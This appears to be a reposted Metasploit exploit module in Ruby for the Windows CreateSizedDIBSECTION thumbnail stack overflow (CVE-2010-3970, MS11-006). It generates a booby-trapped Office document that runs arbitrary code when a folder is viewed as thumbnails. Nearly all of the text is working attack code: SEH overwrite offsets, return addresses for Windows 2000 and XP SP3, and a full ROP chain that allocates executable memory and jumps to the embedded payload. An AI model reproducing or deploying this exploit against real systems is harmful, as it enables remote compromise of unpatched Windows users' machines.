Microsoft Windows CreateSizeDIBSECTION Stack Buffer Overflow

`##  
# $Id: ms11_006_createsizeddibsection.rb 11730 2011-02-08 23:31:44Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in the handling of thumbnails  
within .MIC files and various Office documents. When processing a thumbnail bitmap  
containing a negative 'biClrUsed' value, a stack-based buffer overflow occurs. This  
leads to arbitrary code execution.  
  
In order to trigger the vulnerable code, the folder containing the document must be  
viewed using the "Thumbnails" view.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Moti & Xu Hao', # original discovery  
'Yaniv Miron aka Lament of ilhack',  
'jduck' # Metasploit module  
],  
'Version' => '$Revision: 11730 $',  
'References' =>  
[  
[ 'CVE', '2010-3970' ],  
[ 'OSVDB', '70263' ],  
[ 'MSB', 'MS11-006' ],  
[ 'BID', '45662' ],  
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/2490606.mspx' ],  
[ 'URL', 'http://www.powerofcommunity.net/schedule.html' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Payload' =>  
{  
'Space' => 512,  
'BadChars' => "\x00",  
'DisableNops' => true # no need  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# This automatic target will combine all targets into one file :)  
[ 'Automatic', { } ],  
  
# Windows 2000 is a soft target... You're not still using it are you?  
[ 'Windows 2000 SP0/SP4 English',  
{  
'Offset' => 1548, # Offset to SEH frame  
'Ret' => 0x75022ac4 # p/p/r ws2help.dll v5.0.2134.1  
}  
],  
  
# My test machine didn't have l3codeca.acm loaded (as mentioned in their slides)  
# However, it did have msacm32.drv  
[ 'Windows XP SP3 English',  
{  
'Offset' => 1560, # Offset to SEH frame  
# Address from msacm32.drv v5.1.2600.0  
'Ret' => 0x72d11676, # push esi / mov esi,[esp+0xc] / push [esi+0x54] / call [esi+0x5c]  
  
# This ends up becoming eip due to above SafeSEH bypass  
'PivotOffset' => 1652,  
'RopStart' => 592  
}  
],  
  
=begin  
[ 'Windows Server 2003 SP2',  
{  
'Offset' => 1576, # Offset to SEH frame  
'Ret' => 0xfeedfed5  
  
# rop is possible with l3codeca.acm, but its not clear how to force it to be loaded.  
# Also, it changed in Feburary 2010 ...  
}  
],  
=end  
  
# crash on a deref path to heaven.  
[ 'Crash Target for Debugging',  
{  
'Offset' => 1337,  
'Ret' => 0xdac0ffee  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Dec 15 2010'))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc']),  
], self.class)  
end  
  
def exploit  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
out = ::File.expand_path(::File.join(datastore['OUTPUTPATH'], datastore['FILENAME']))  
stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE)  
if (not stg)  
raise RuntimeError, 'Unable to create output file'  
end  
  
stm = stg.create_stream("\x05SummaryInformation")  
if (not stm)  
raise RuntimeError, 'Unable to create SummaryInformation stream'  
end  
stm << generate_summaryinfo()  
stm.close  
  
stg.close  
  
print_status("Generated output file #{out}")  
  
end  
  
def generate_summaryinfo  
si = Rex::OLE::PropertySetStream.new  
  
ps = Rex::OLE::PropertySet.new(Rex::OLE::FMTID_SummaryInformation)  
  
bihdr = [  
0x08, # ??  
0x28, # biSize (struct size)  
0x50, # biWidth  
0x58, # biHeight  
0x01, # biPlanes  
0x08, # biBitCount  
0x00, # biCompression  
0xa8c0, # biSizeImage  
0x00, # biXPelsPerMeter  
0x00, # biYPelsPerMeter  
# biClrUsed  
0x80000001,  
0x00 # biClrImportant  
].pack('VVVVvvVVVVVV')  
  
# ClipboardData  
data = rand_text(8192)  
data[0, bihdr.length] = bihdr  
data[48, payload.encoded.length] = payload.encoded  
  
if target.name == "Automatic"  
targets.each { |t|  
next if t.name !~ /Windows/i  
  
add_target(data, t)  
}  
else  
add_target(data, target)  
end  
  
prop = Rex::OLE::Property.new(Rex::OLE::PIDSI_THUMBNAIL, Rex::OLE::VT_CF, data)  
ps << prop  
si << ps  
  
si.pack  
end  
  
def add_target(data, targ)  
if targ['PivotOffset'] and targ['RopStart']  
data[targ['Offset'] + 4, 4] = [targ.ret].pack('V')  
  
rvas = rvas_explorer_xpsp3()  
rop = generate_rop(rvas)  
  
pivot = rva2addr(rvas, 'add ebp, [edx+6] / pop eax / leave / ret 4')  
data[targ['PivotOffset'], 4] = [pivot].pack('V')  
  
data[targ['RopStart'], rop.length] = rop  
else  
seh = generate_seh_record(targ.ret)  
distance = targ['Offset'] + seh.length  
distance -= 48 # the entire source buffer isn't copied  
seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string  
  
data[targ['Offset'], seh.length] = seh  
end  
end  
  
def rvas_explorer_xpsp3()  
# explorer.exe version v6.0.2900.5512  
# Just return this hash  
{  
'add ebp, [edx+6] / pop eax / leave / ret 4' => 0x2be9c,  
'ret' => 0x3ebd,  
  
'int3 / ... / ret' => 0x1922f,  
  
'mov eax, esi / pop edi / pop esi / ret' => 0x2648,  
'pop ebp / ret' => 0x3ebc,  
'add eax, ebp / ret' => 0x13124,  
'mov eax, [eax] / ret' => 0x74b7,  
  
'pop ebx / ret' => 0x4bd5,  
'push eax / call ebx' => 0xedc7,  
'pop edi / pop esi / ret' => 0x23bb,  
  
'pop ecx / ret' => 0x1acd9,  
'call [ecx] / pop ebp / ret 0x10' => 0x2ad52,  
  
'pop edi / ret' => 0x319bc,  
  
'lea edi, [eax+0x1c] / rep movsd / pop edi / pop esi / ret' => 0x88c4,  
  
'mov [eax], ecx / pop ebp / ret 4' => 0xa747,  
'jmp eax' => 0x2080  
}  
end  
  
def generate_rop(rvas)  
# ROP fun! (XP SP3 English, Dec 29 2010)  
rvas.merge!({  
# Instructions / Name => RVA  
'BaseAddress' => 0x01000000,  
'imp_VirtualAlloc' => 0x11e8,  
'Scratch' => 0x46060  
})  
  
rop_stack = [  
'ret',  
:unused, # from pivot  
  
# First, get the address of our source buffer in relation to the  
# SEH record pointer now saved in ESI  
'mov eax, esi / pop edi / pop esi / ret',  
:unused,  
:unused,  
  
'pop ebp / ret',  
0xfffffa18,  
'add eax, ebp / ret',  
  
'pop ebx / ret',  
'pop edi / pop esi / ret',  
'push eax / call ebx',  
  
# Allocate an RWX memory segment  
'pop ecx / ret',  
'imp_VirtualAlloc',  
  
'call [ecx] / pop ebp / ret 0x10',  
0, # lpAddress  
0x1000, # dwSize  
0x3000, # flAllocationType  
0x40, # flProt  
:unused,  
  
# Copy the original payload  
'pop ecx / ret',  
:unused,  
:unused,  
:unused,  
:unused,  
0x80, # dwords to copy  
  
'lea edi, [eax+0x1c] / rep movsd / pop edi / pop esi / ret',  
:unused,  
:unused,  
  
# Add a jump over the space/crap  
'pop ecx / ret',  
0x90901aeb,  
  
'mov [eax], ecx / pop ebp / ret 4',  
:unused,  
  
'jmp eax'  
]  
  
rop_stack.map! { |e|  
if e.kind_of? String  
# Meta-replace (RVA)  
raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]  
rvas['BaseAddress'] + rvas[e]  
  
elsif e == :unused  
# Randomize  
rand_text(4).unpack('V').first  
  
else  
# Literal  
e  
end  
}  
  
rop_stack.pack('V*')  
end  
  
def rva2addr(rvas, key)  
raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]  
rvas['BaseAddress'] + rvas[key]  
end  
  
end  
`